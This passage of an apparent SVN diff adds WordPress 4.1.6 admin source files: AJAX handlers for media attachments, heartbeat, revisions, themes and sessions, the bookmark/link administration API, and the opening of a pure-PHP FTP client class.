+	$query = isset( $_REQUEST['query'] ) ? (array) $_REQUEST['query'] : array();
+	$query = array_intersect_key( $query, array_flip( array(
+		's', 'order', 'orderby', 'posts_per_page', 'paged', 'post_mime_type',
+		'post_parent', 'post__in', 'post__not_in', 'year', 'monthnum'
+	) ) );
+
+	$query['post_type'] = 'attachment';
+	if ( MEDIA_TRASH
+		&& ! empty( $_REQUEST['query']['post_status'] )
+		&& 'trash' === $_REQUEST['query']['post_status'] ) {
+		$query['post_status'] = 'trash';
+	} else {
+		$query['post_status'] = 'inherit';
+	}
+
+	if ( current_user_can( get_post_type_object( 'attachment' )->cap->read_private_posts ) )
+		$query['post_status'] .= ',private';
+
+	/**
+	 * Filter the arguments passed to WP_Query during an AJAX
+	 * call for querying attachments.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @see WP_Query::parse_query()
+	 *
+	 * @param array $query An array of query variables.
+	 */
+	$query = apply_filters( 'ajax_query_attachments_args', $query );
+	$query = new WP_Query( $query );
+
+	$posts = array_map( 'wp_prepare_attachment_for_js', $query->posts );
+	$posts = array_filter( $posts );
+
+	wp_send_json_success( $posts );
+}
+
+/**
+ * Ajax handler for updating attachment attributes.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_save_attachment() {
+	if ( ! isset( $_REQUEST['id'] ) || ! isset( $_REQUEST['changes'] ) )
+		wp_send_json_error();
+
+	if ( ! $id = absint( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	check_ajax_referer( 'update-post_' . $id, 'nonce' );
+
+	if ( ! current_user_can( 'edit_post', $id ) )
+		wp_send_json_error();
+
+	$changes = $_REQUEST['changes'];
+	$post    = get_post( $id, ARRAY_A );
+
+	if ( 'attachment' != $post['post_type'] )
+		wp_send_json_error();
+
+	if ( isset( $changes['title'] ) )
+		$post['post_title'] = $changes['title'];
+
+	if ( isset( $changes['caption'] ) )
+		$post['post_excerpt'] = $changes['caption'];
+
+	if ( isset( $changes['description'] ) )
+		$post['post_content'] = $changes['description'];
+
+	if ( MEDIA_TRASH && isset( $changes['status'] ) )
+		$post['post_status'] = $changes['status'];
+
+	if ( isset( $changes['alt'] ) ) {
+		$alt = wp_unslash( $changes['alt'] );
+		if ( $alt != get_post_meta( $id, '_wp_attachment_image_alt', true ) ) {
+			$alt = wp_strip_all_tags( $alt, true );
+			update_post_meta( $id, '_wp_attachment_image_alt', wp_slash( $alt ) );
+		}
+	}
+
+	if ( 0 === strpos( $post['post_mime_type'], 'audio/' ) ) {
+		$changed = false;
+		$id3data = wp_get_attachment_metadata( $post['ID'] );
+		if ( ! is_array( $id3data ) ) {
+			$changed = true;
+			$id3data = array();
+		}
+		foreach ( wp_get_attachment_id3_keys( (object) $post, 'edit' ) as $key => $label ) {
+			if ( isset( $changes[ $key ] ) ) {
+				$changed = true;
+				$id3data[ $key ] = sanitize_text_field( wp_unslash( $changes[ $key ] ) );
+			}
+		}
+
+		if ( $changed ) {
+			wp_update_attachment_metadata( $id, $id3data );
+		}
+	}
+
+	if ( MEDIA_TRASH && isset( $changes['status'] ) && 'trash' === $changes['status'] ) {
+		wp_delete_post( $id );
+	} else {
+		wp_update_post( $post );
+	}
+
+	wp_send_json_success();
+}
+
+/**
+ * Ajax handler for saving backwards compatible attachment attributes.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_save_attachment_compat() {
+	if ( ! isset( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	if ( ! $id = absint( $_REQUEST['id'] ) )
+		wp_send_json_error();
+
+	if ( empty( $_REQUEST['attachments'] ) || empty( $_REQUEST['attachments'][ $id ] ) )
+		wp_send_json_error();
+	$attachment_data = $_REQUEST['attachments'][ $id ];
+
+	check_ajax_referer( 'update-post_' . $id, 'nonce' );
+
+	if ( ! current_user_can( 'edit_post', $id ) )
+		wp_send_json_error();
+
+	$post = get_post( $id, ARRAY_A );
+
+	if ( 'attachment' != $post['post_type'] )
+		wp_send_json_error();
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$post = apply_filters( 'attachment_fields_to_save', $post, $attachment_data );
+
+	if ( isset( $post['errors'] ) ) {
+		$errors = $post['errors']; // @todo return me and display me!
+		unset( $post['errors'] );
+	}
+
+	wp_update_post( $post );
+
+	foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
+		if ( isset( $attachment_data[ $taxonomy ] ) )
+			wp_set_object_terms( $id, array_map( 'trim', preg_split( '/,+/', $attachment_data[ $taxonomy ] ) ), $taxonomy, false );
+	}
+
+	if ( ! $attachment = wp_prepare_attachment_for_js( $id ) )
+		wp_send_json_error();
+
+	wp_send_json_success( $attachment );
+}
+
+/**
+ * Ajax handler for saving the attachment order.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_save_attachment_order() {
+	if ( ! isset( $_REQUEST['post_id'] ) )
+		wp_send_json_error();
+
+	if ( ! $post_id = absint( $_REQUEST['post_id'] ) )
+		wp_send_json_error();
+
+	if ( empty( $_REQUEST['attachments'] ) )
+		wp_send_json_error();
+
+	check_ajax_referer( 'update-post_' . $post_id, 'nonce' );
+
+	$attachments = $_REQUEST['attachments'];
+
+	if ( ! current_user_can( 'edit_post', $post_id ) )
+		wp_send_json_error();
+
+	foreach ( $attachments as $attachment_id => $menu_order ) {
+		if ( ! current_user_can( 'edit_post', $attachment_id ) )
+			continue;
+		if ( ! $attachment = get_post( $attachment_id ) )
+			continue;
+		if ( 'attachment' != $attachment->post_type )
+			continue;
+
+		wp_update_post( array( 'ID' => $attachment_id, 'menu_order' => $menu_order ) );
+	}
+
+	wp_send_json_success();
+}
+
+/**
+ * Ajax handler for sending an attachment to the editor.
+ *
+ * Generates the HTML to send an attachment to the editor.
+ * Backwards compatible with the media_send_to_editor filter
+ * and the chain of filters that follow.
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_send_attachment_to_editor() {
+	check_ajax_referer( 'media-send-to-editor', 'nonce' );
+
+	$attachment = wp_unslash( $_POST['attachment'] );
+
+	$id = intval( $attachment['id'] );
+
+	if ( ! $post = get_post( $id ) )
+		wp_send_json_error();
+
+	if ( 'attachment' != $post->post_type )
+		wp_send_json_error();
+
+	if ( current_user_can( 'edit_post', $id ) ) {
+		// If this attachment is unattached, attach it. Primarily a back compat thing.
+		if ( 0 == $post->post_parent && $insert_into_post_id = intval( $_POST['post_id'] ) ) {
+			wp_update_post( array( 'ID' => $id, 'post_parent' => $insert_into_post_id ) );
+		}
+	}
+
+	$rel = $url = '';
+	$html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
+	if ( ! empty( $attachment['url'] ) ) {
+		$url = $attachment['url'];
+		if ( strpos( $url, 'attachment_id') || get_attachment_link( $id ) == $url )
+			$rel = ' rel="attachment wp-att-' . $id . '"';
+		$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
+	}
+
+	remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' );
+
+	if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) {
+		$align = isset( $attachment['align'] ) ? $attachment['align'] : 'none';
+		$size = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
+		$alt = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
+		$caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : '';
+		$title = ''; // We no longer insert title tags into <img> tags, as they are redundant.
+		$html = get_image_send_to_editor( $id, $caption, $title, $align, $url, (bool) $rel, $size, $alt );
+	} elseif ( 'video' === substr( $post->post_mime_type, 0, 5 ) || 'audio' === substr( $post->post_mime_type, 0, 5 )  ) {
+		$html = stripslashes_deep( $_POST['html'] );
+	}
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$html = apply_filters( 'media_send_to_editor', $html, $id, $attachment );
+
+	wp_send_json_success( $html );
+}
+
+/**
+ * Ajax handler for sending a link to the editor.
+ *
+ * Generates the HTML to send a non-image embed link to the editor.
+ *
+ * Backwards compatible with the following filters:
+ * - file_send_to_editor_url
+ * - audio_send_to_editor_url
+ * - video_send_to_editor_url
+ *
+ * @since 3.5.0
+ */
+function wp_ajax_send_link_to_editor() {
+	global $post, $wp_embed;
+
+	check_ajax_referer( 'media-send-to-editor', 'nonce' );
+
+	if ( ! $src = wp_unslash( $_POST['src'] ) )
+		wp_send_json_error();
+
+	if ( ! strpos( $src, '://' ) )
+		$src = 'http://' . $src;
+
+	if ( ! $src = esc_url_raw( $src ) )
+		wp_send_json_error();
+
+	if ( ! $title = trim( wp_unslash( $_POST['title'] ) ) )
+		$title = wp_basename( $src );
+
+	$post = get_post( isset( $_POST['post_id'] ) ? $_POST['post_id'] : 0 );
+
+	// Ping WordPress for an embed.
+	$check_embed = $wp_embed->run_shortcode( '[embed]'. $src .'[/embed]' );
+
+	// Fallback that WordPress creates when no oEmbed was found.
+	$fallback = $wp_embed->maybe_make_link( $src );
+
+	if ( $check_embed !== $fallback ) {
+		// TinyMCE view for [embed] will parse this
+		$html = '[embed]' . $src . '[/embed]';
+	} elseif ( $title ) {
+		$html = '<a href="' . esc_url( $src ) . '">' . $title . '</a>';
+	} else {
+		$html = '';
+	}
+
+	// Figure out what filter to run:
+	$type = 'file';
+	if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) )
+		&& ( 'audio' == $ext_type || 'video' == $ext_type ) )
+			$type = $ext_type;
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$html = apply_filters( $type . '_send_to_editor_url', $html, $src, $title );
+
+	wp_send_json_success( $html );
+}
+
+/**
+ * Ajax handler for the Heartbeat API.
+ *
+ * Runs when the user is logged in.
+ *
+ * @since 3.6.0
+ */
+function wp_ajax_heartbeat() {
+	if ( empty( $_POST['_nonce'] ) )
+		wp_send_json_error();
+
+	$response = array();
+
+	if ( false === wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' ) ) {
+		// User is logged in but nonces have expired.
+		$response['nonces_expired'] = true;
+		wp_send_json($response);
+	}
+
+	// screen_id is the same as $current_screen->id and the JS global 'pagenow'.
+	if ( ! empty($_POST['screen_id']) )
+		$screen_id = sanitize_key($_POST['screen_id']);
+	else
+		$screen_id = 'front';
+
+	if ( ! empty($_POST['data']) ) {
+		$data = wp_unslash( (array) $_POST['data'] );
+
+		/**
+		 * Filter the Heartbeat response received.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param array|object $response  The Heartbeat response object or array.
+		 * @param array        $data      The $_POST data sent.
+		 * @param string       $screen_id The screen id.
+		 */
+		$response = apply_filters( 'heartbeat_received', $response, $data, $screen_id );
+	}
+
+	/**
+	 * Filter the Heartbeat response sent.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array|object $response  The Heartbeat response object or array.
+	 * @param string       $screen_id The screen id.
+	 */
+	$response = apply_filters( 'heartbeat_send', $response, $screen_id );
+
+	/**
+	 * Fires when Heartbeat ticks in logged-in environments.
+	 *
+	 * Allows the transport to be easily replaced with long-polling.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array|object $response  The Heartbeat response object or array.
+	 * @param string       $screen_id The screen id.
+	 */
+	do_action( 'heartbeat_tick', $response, $screen_id );
+
+	// Send the current time according to the server
+	$response['server_time'] = time();
+
+	wp_send_json($response);
+}
+
+/**
+ * Ajax handler for getting revision diffs.
+ *
+ * @since 3.6.0
+ */
+function wp_ajax_get_revision_diffs() {
+	require ABSPATH . 'wp-admin/includes/revision.php';
+
+	if ( ! $post = get_post( (int) $_REQUEST['post_id'] ) )
+		wp_send_json_error();
+
+	if ( ! current_user_can( 'read_post', $post->ID ) )
+		wp_send_json_error();
+
+	// Really just pre-loading the cache here.
+	if ( ! $revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) ) )
+		wp_send_json_error();
+
+	$return = array();
+	@set_time_limit( 0 );
+
+	foreach ( $_REQUEST['compare'] as $compare_key ) {
+		list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to
+
+		$return[] = array(
+			'id' => $compare_key,
+			'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ),
+		);
+	}
+	wp_send_json_success( $return );
+}
+
+/**
+ * Ajax handler for auto-saving the selected color scheme for
+ * a user's own profile.
+ *
+ * @since 3.8.0
+ */
+function wp_ajax_save_user_color_scheme() {
+	global $_wp_admin_css_colors;
+
+	check_ajax_referer( 'save-color-scheme', 'nonce' );
+
+	$color_scheme = sanitize_key( $_POST['color_scheme'] );
+
+	if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) {
+		wp_send_json_error();
+	}
+
+	update_user_meta( get_current_user_id(), 'admin_color', $color_scheme );
+	wp_send_json_success();
+}
+
+/**
+ * Ajax handler for getting themes from themes_api().
+ *
+ * @since 3.9.0
+ */
+function wp_ajax_query_themes() {
+	global $themes_allowedtags, $theme_field_defaults;
+
+	if ( ! current_user_can( 'install_themes' ) ) {
+		wp_send_json_error();
+	}
+
+	$args = wp_parse_args( wp_unslash( $_REQUEST['request'] ), array(
+		'per_page' => 20,
+		'fields'   => $theme_field_defaults
+	) );
+
+	$old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search';
+
+	/** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */
+	$args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args );
+
+	$api = themes_api( 'query_themes', $args );
+
+	if ( is_wp_error( $api ) ) {
+		wp_send_json_error();
+	}
+
+	$update_php = network_admin_url( 'update.php?action=install-theme' );
+	foreach ( $api->themes as &$theme ) {
+		$theme->install_url = add_query_arg( array(
+			'theme'    => $theme->slug,
+			'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug )
+		), $update_php );
+
+		$theme->name        = wp_kses( $theme->name, $themes_allowedtags );
+		$theme->author      = wp_kses( $theme->author, $themes_allowedtags );
+		$theme->version     = wp_kses( $theme->version, $themes_allowedtags );
+		$theme->description = wp_kses( $theme->description, $themes_allowedtags );
+		$theme->num_ratings = sprintf( _n( '(based on %s rating)', '(based on %s ratings)', $theme->num_ratings ), number_format_i18n( $theme->num_ratings ) );
+		$theme->preview_url = set_url_scheme( $theme->preview_url );
+	}
+
+	wp_send_json_success( $api );
+}
+
+/**
+ * Apply [embed] AJAX handlers to a string.
+ *
+ * @since 4.0.0
+ *
+ * @global WP_Post  $post     Global $post.
+ * @global WP_Embed $wp_embed Embed API instance.
+ */
+function wp_ajax_parse_embed() {
+	global $post, $wp_embed;
+
+	if ( ! $post = get_post( (int) $_POST['post_ID'] ) ) {
+		wp_send_json_error();
+	}
+
+	if ( empty( $_POST['shortcode'] ) || ! current_user_can( 'edit_post', $post->ID ) ) {
+		wp_send_json_error();
+	}
+
+	$shortcode = wp_unslash( $_POST['shortcode'] );
+	$url = str_replace( '[embed]', '', str_replace( '[/embed]', '', $shortcode ) );
+	$parsed = false;
+	setup_postdata( $post );
+
+	$wp_embed->return_false_on_fail = true;
+
+	if ( is_ssl() && preg_match( '%^\\[embed[^\\]]*\\]http://%i', $shortcode ) ) {
+		// Admin is ssl and the user pasted non-ssl URL.
+		// Check if the provider supports ssl embeds and use that for the preview.
+		$ssl_shortcode = preg_replace( '%^(\\[embed[^\\]]*\\])http://%i', '$1https://', $shortcode );
+		$parsed = $wp_embed->run_shortcode( $ssl_shortcode );
+
+		if ( ! $parsed ) {
+			$no_ssl_support = true;
+		}
+	}
+
+	if ( ! $parsed ) {
+		$parsed = $wp_embed->run_shortcode( $shortcode );
+	}
+
+	if ( ! $parsed ) {
+		wp_send_json_error( array(
+			'type' => 'not-embeddable',
+			'message' => sprintf( __( '%s failed to embed.' ), '<code>' . esc_html( $url ) . '</code>' ),
+		) );
+	}
+
+	if ( has_shortcode( $parsed, 'audio' ) || has_shortcode( $parsed, 'video' ) ) {
+		$styles = '';
+		$mce_styles = wpview_media_sandbox_styles();
+		foreach ( $mce_styles as $style ) {
+			$styles .= sprintf( '<link rel="stylesheet" href="%s"/>', $style );
+		}
+
+		$html = do_shortcode( $parsed );
+
+		global $wp_scripts;
+		if ( ! empty( $wp_scripts ) ) {
+			$wp_scripts->done = array();
+		}
+		ob_start();
+		wp_print_scripts( 'wp-mediaelement' );
+		$scripts = ob_get_clean();
+
+		$parsed = $styles . $html . $scripts;
+	}
+
+
+	if ( ! empty( $no_ssl_support ) || ( is_ssl() && ( preg_match( '%<(iframe|script|embed) [^>]*src="http://%', $parsed ) ||
+		preg_match( '%<link [^>]*href="http://%', $parsed ) ) ) ) {
+		// Admin is ssl and the embed is not. Iframes, scripts, and other "active content" will be blocked.
+		wp_send_json_error( array(
+			'type' => 'not-ssl',
+			'message' => __( 'This preview is unavailable in the editor.' ),
+		) );
+	}
+
+	wp_send_json_success( array(
+		'body' => $parsed
+	) );
+}
+
+function wp_ajax_parse_media_shortcode() {
+	global $post, $wp_scripts;
+
+	if ( ! $post = get_post( (int) $_POST['post_ID'] ) ) {
+		wp_send_json_error();
+	}
+
+	if ( empty( $_POST['shortcode'] ) || ! current_user_can( 'edit_post', $post->ID ) ) {
+		wp_send_json_error();
+	}
+
+	setup_postdata( $post );
+	$shortcode = do_shortcode( wp_unslash( $_POST['shortcode'] ) );
+
+	if ( empty( $shortcode ) ) {
+		wp_send_json_error( array(
+			'type' => 'no-items',
+			'message' => __( 'No items found.' ),
+		) );
+	}
+
+	$head = '';
+	$styles = wpview_media_sandbox_styles();
+
+	foreach ( $styles as $style ) {
+		$head .= '<link type="text/css" rel="stylesheet" href="' . $style . '">';
+	}
+
+	if ( ! empty( $wp_scripts ) ) {
+		$wp_scripts->done = array();
+	}
+
+	ob_start();
+
+	echo $shortcode;
+
+	if ( 'playlist' === $_REQUEST['type'] ) {
+		wp_underscore_playlist_templates();
+
+		wp_print_scripts( 'wp-playlist' );
+	} else {
+		wp_print_scripts( 'wp-mediaelement' );
+	}
+
+	wp_send_json_success( array(
+		'head' => $head,
+		'body' => ob_get_clean()
+	) );
+}
+
+/**
+ * AJAX handler for destroying multiple open sessions for a user.
+ *
+ * @since 4.1.0
+ */
+function wp_ajax_destroy_sessions() {
+
+	$user = get_userdata( (int) $_POST['user_id'] );
+	if ( $user ) {
+		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
+			$user = false;
+		} elseif ( ! wp_verify_nonce( $_POST['nonce'], 'update-user_' . $user->ID ) ) {
+			$user = false;
+		}
+	}
+
+	if ( ! $user ) {
+		wp_send_json_error( array(
+			'message' => __( 'Could not log out user sessions. Please try again.' ),
+		) );
+	}
+
+	$sessions = WP_Session_Tokens::get_instance( $user->ID );
+
+	if ( $user->ID === get_current_user_id() ) {
+		$sessions->destroy_others( wp_get_session_token() );
+		$message = __( 'You are now logged out everywhere else.' );
+	} else {
+		$sessions->destroy_all();
+		/* translators: 1: User's display name. */ 
+		$message = sprintf( __( '%s has been logged out.' ), $user->display_name );
+	}
+
+	wp_send_json_success( array( 'message' => $message ) );
+}
Index: /tags/4.1.6/src/wp-admin/includes/bookmark.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/bookmark.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/bookmark.php	(revision 33402)
@@ -0,0 +1,305 @@
+<?php
+/**
+ * WordPress Bookmark Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Add a link to using values provided in $_POST.
+ *
+ * @since 2.0.0
+ *
+ * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
+ */
+function add_link() {
+	return edit_link();
+}
+
+/**
+ * Update or insert a link using values provided in $_POST.
+ *
+ * @since 2.0.0
+ *
+ * @param int $link_id Optional. ID of the link to edit.
+ * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
+ */
+function edit_link( $link_id = 0 ) {
+	if ( !current_user_can( 'manage_links' ) )
+		wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+	$_POST['link_url'] = esc_html( $_POST['link_url'] );
+	$_POST['link_url'] = esc_url($_POST['link_url']);
+	$_POST['link_name'] = esc_html( $_POST['link_name'] );
+	$_POST['link_image'] = esc_html( $_POST['link_image'] );
+	$_POST['link_rss'] = esc_url($_POST['link_rss']);
+	if ( !isset($_POST['link_visible']) || 'N' != $_POST['link_visible'] )
+		$_POST['link_visible'] = 'Y';
+
+	if ( !empty( $link_id ) ) {
+		$_POST['link_id'] = $link_id;
+		return wp_update_link( $_POST );
+	} else {
+		return wp_insert_link( $_POST );
+	}
+}
+
+/**
+ * Retrieve the default link for editing.
+ *
+ * @since 2.0.0
+ *
+ * @return stdClass Default link
+ */
+function get_default_link_to_edit() {
+	$link = new stdClass;
+	if ( isset( $_GET['linkurl'] ) )
+		$link->link_url = esc_url( wp_unslash( $_GET['linkurl'] ) );
+	else
+		$link->link_url = '';
+
+	if ( isset( $_GET['name'] ) )
+		$link->link_name = esc_attr( wp_unslash( $_GET['name'] ) );
+	else
+		$link->link_name = '';
+
+	$link->link_visible = 'Y';
+
+	return $link;
+}
+
+/**
+ * Delete link specified from database.
+ *
+ * @since 2.0.0
+ *
+ * @param int $link_id ID of the link to delete
+ * @return bool True
+ */
+function wp_delete_link( $link_id ) {
+	global $wpdb;
+	/**
+	 * Fires before a link is deleted.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int $link_id ID of the link to delete.
+	 */
+	do_action( 'delete_link', $link_id );
+
+	wp_delete_object_term_relationships( $link_id, 'link_category' );
+
+	$wpdb->delete( $wpdb->links, array( 'link_id' => $link_id ) );
+	/**
+	 * Fires after a link has been deleted.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param int $link_id ID of the deleted link.
+	 */
+	do_action( 'deleted_link', $link_id );
+
+	clean_bookmark_cache( $link_id );
+
+	return true;
+}
+
+/**
+ * Retrieves the link categories associated with the link specified.
+ *
+ * @since 2.1.0
+ *
+ * @param int $link_id Link ID to look up
+ * @return array The requested link's categories
+ */
+function wp_get_link_cats( $link_id = 0 ) {
+
+	$cats = wp_get_object_terms( $link_id, 'link_category', array('fields' => 'ids') );
+
+	return array_unique( $cats );
+}
+
+/**
+ * Retrieve link data based on ID.
+ *
+ * @since 2.0.0
+ *
+ * @param int $link_id ID of link to retrieve
+ * @return object Link for editing
+ */
+function get_link_to_edit( $link_id ) {
+	return get_bookmark( $link_id, OBJECT, 'edit' );
+}
+
+/**
+ * This function inserts/updates links into/in the database.
+ *
+ * @since 2.0.0
+ *
+ * @param array $linkdata Elements that make up the link to insert.
+ * @param bool $wp_error Optional. If true return WP_Error object on failure.
+ * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success.
+ */
+function wp_insert_link( $linkdata, $wp_error = false ) {
+	global $wpdb;
+
+	$defaults = array( 'link_id' => 0, 'link_name' => '', 'link_url' => '', 'link_rating' => 0 );
+
+	$args = wp_parse_args( $linkdata, $defaults );
+	$r = wp_unslash( sanitize_bookmark( $args, 'db' ) );
+
+	$link_id   = $r['link_id'];
+	$link_name = $r['link_name'];
+	$link_url  = $r['link_url'];
+
+	$update = false;
+	if ( ! empty( $link_id ) ) {
+		$update = true;
+	}
+
+	if ( trim( $link_name ) == '' ) {
+		if ( trim( $link_url ) != '' ) {
+			$link_name = $link_url;
+		} else {
+			return 0;
+		}
+	}
+
+	if ( trim( $link_url ) == '' ) {
+		return 0;
+	}
+
+	$link_rating      = ( ! empty( $r['link_rating'] ) ) ? $r['link_rating'] : 0;
+	$link_image       = ( ! empty( $r['link_image'] ) ) ? $r['link_image'] : '';
+	$link_target      = ( ! empty( $r['link_target'] ) ) ? $r['link_target'] : '';
+	$link_visible     = ( ! empty( $r['link_visible'] ) ) ? $r['link_visible'] : 'Y';
+	$link_owner       = ( ! empty( $r['link_owner'] ) ) ? $r['link_owner'] : get_current_user_id();
+	$link_notes       = ( ! empty( $r['link_notes'] ) ) ? $r['link_notes'] : '';
+	$link_description = ( ! empty( $r['link_description'] ) ) ? $r['link_description'] : '';
+	$link_rss         = ( ! empty( $r['link_rss'] ) ) ? $r['link_rss'] : '';
+	$link_rel         = ( ! empty( $r['link_rel'] ) ) ? $r['link_rel'] : '';
+	$link_category    = ( ! empty( $r['link_category'] ) ) ? $r['link_category'] : array();
+
+	// Make sure we set a valid category
+	if ( ! is_array( $link_category ) || 0 == count( $link_category ) ) {
+		$link_category = array( get_option( 'default_link_category' ) );
+	}
+
+	if ( $update ) {
+		if ( false === $wpdb->update( $wpdb->links, compact( 'link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_rating', 'link_rel', 'link_notes', 'link_rss' ), compact( 'link_id' ) ) ) {
+			if ( $wp_error ) {
+				return new WP_Error( 'db_update_error', __( 'Could not update link in the database' ), $wpdb->last_error );
+			} else {
+				return 0;
+			}
+		}
+	} else {
+		if ( false === $wpdb->insert( $wpdb->links, compact( 'link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_rel', 'link_notes', 'link_rss' ) ) ) {
+			if ( $wp_error ) {
+				return new WP_Error( 'db_insert_error', __( 'Could not insert link into the database' ), $wpdb->last_error );
+			} else {
+				return 0;
+			}
+		}
+		$link_id = (int) $wpdb->insert_id;
+	}
+
+	wp_set_link_cats( $link_id, $link_category );
+
+	if ( $update ) {
+		/**
+		 * Fires after a link was updated in the database.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param int $link_id ID of the link that was updated.
+		 */
+		do_action( 'edit_link', $link_id );
+	} else {
+		/**
+		 * Fires after a link was added to the database.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param int $link_id ID of the link that was added.
+		 */
+		do_action( 'add_link', $link_id );
+	}
+	clean_bookmark_cache( $link_id );
+
+	return $link_id;
+}
+
+/**
+ * Update link with the specified link categories.
+ *
+ * @since 2.1.0
+ *
+ * @param int $link_id ID of link to update
+ * @param array $link_categories Array of categories to
+ */
+function wp_set_link_cats( $link_id = 0, $link_categories = array() ) {
+	// If $link_categories isn't already an array, make it one:
+	if ( !is_array( $link_categories ) || 0 == count( $link_categories ) )
+		$link_categories = array( get_option( 'default_link_category' ) );
+
+	$link_categories = array_map( 'intval', $link_categories );
+	$link_categories = array_unique( $link_categories );
+
+	wp_set_object_terms( $link_id, $link_categories, 'link_category' );
+
+	clean_bookmark_cache( $link_id );
+}
+
+/**
+ * Update a link in the database.
+ *
+ * @since 2.0.0
+ *
+ * @param array $linkdata Link data to update.
+ * @return int|WP_Error Value 0 or WP_Error on failure. The updated link ID on success.
+ */
+function wp_update_link( $linkdata ) {
+	$link_id = (int) $linkdata['link_id'];
+
+	$link = get_bookmark( $link_id, ARRAY_A );
+
+	// Escape data pulled from DB.
+	$link = wp_slash( $link );
+
+	// Passed link category list overwrites existing category list if not empty.
+	if ( isset( $linkdata['link_category'] ) && is_array( $linkdata['link_category'] )
+			 && 0 != count( $linkdata['link_category'] ) )
+		$link_cats = $linkdata['link_category'];
+	else
+		$link_cats = $link['link_category'];
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$linkdata = array_merge( $link, $linkdata );
+	$linkdata['link_category'] = $link_cats;
+
+	return wp_insert_link( $linkdata );
+}
+
+/**
+ * @since 3.5.0
+ * @access private
+ */
+function wp_link_manager_disabled_message() {
+	global $pagenow;
+	if ( 'link-manager.php' != $pagenow && 'link-add.php' != $pagenow && 'link.php' != $pagenow )
+		return;
+
+	add_filter( 'pre_option_link_manager_enabled', '__return_true', 100 );
+	$really_can_manage_links = current_user_can( 'manage_links' );
+	remove_filter( 'pre_option_link_manager_enabled', '__return_true', 100 );
+
+	if ( $really_can_manage_links && current_user_can( 'install_plugins' ) ) {
+		$link = network_admin_url( 'plugin-install.php?tab=search&amp;s=Link+Manager' );
+		wp_die( sprintf( __( 'If you are looking to use the link manager, please install the <a href="%s">Link Manager</a> plugin.' ), $link ) );
+	}
+
+	wp_die( __( 'You do not have sufficient permissions to edit the links for this site.' ) );
+}
+add_action( 'admin_page_access_denied', 'wp_link_manager_disabled_message' );
Index: /tags/4.1.6/src/wp-admin/includes/class-ftp-pure.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-ftp-pure.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-ftp-pure.php	(revision 33402)
@@ -0,0 +1,190 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5.0
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * FTP implementation using fsockopen to connect.
+ *
+ * @package PemFTP
+ * @subpackage Pure
+ * @since 2.5.0
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+class ftp extends ftp_base {
+
+	function ftp($verb=FALSE, $le=FALSE) {
+		$this->__construct($verb, $le);
+	}
+
+	function __construct($verb=FALSE, $le=FALSE) {
+		parent::__construct(false, $verb, $le);
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function _settimeout($sock) {
+		if(!@stream_set_timeout($sock, $this->_timeout)) {
+			$this->PushError('_settimeout','socket set send timeout');
+			$this->_quit();
+			return FALSE;
+		}
+		return TRUE;
+	}
+
+	function _connect($host, $port) {
+		$this->SendMSG("Creating socket");
+		$sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout);
+		if (!$sock) {
+			$this->PushError('_connect','socket connect failed', $errstr." (".$errno.")");
+			return FALSE;
+		}
+		$this->_connected=true;
+		return $sock;
+	}
+
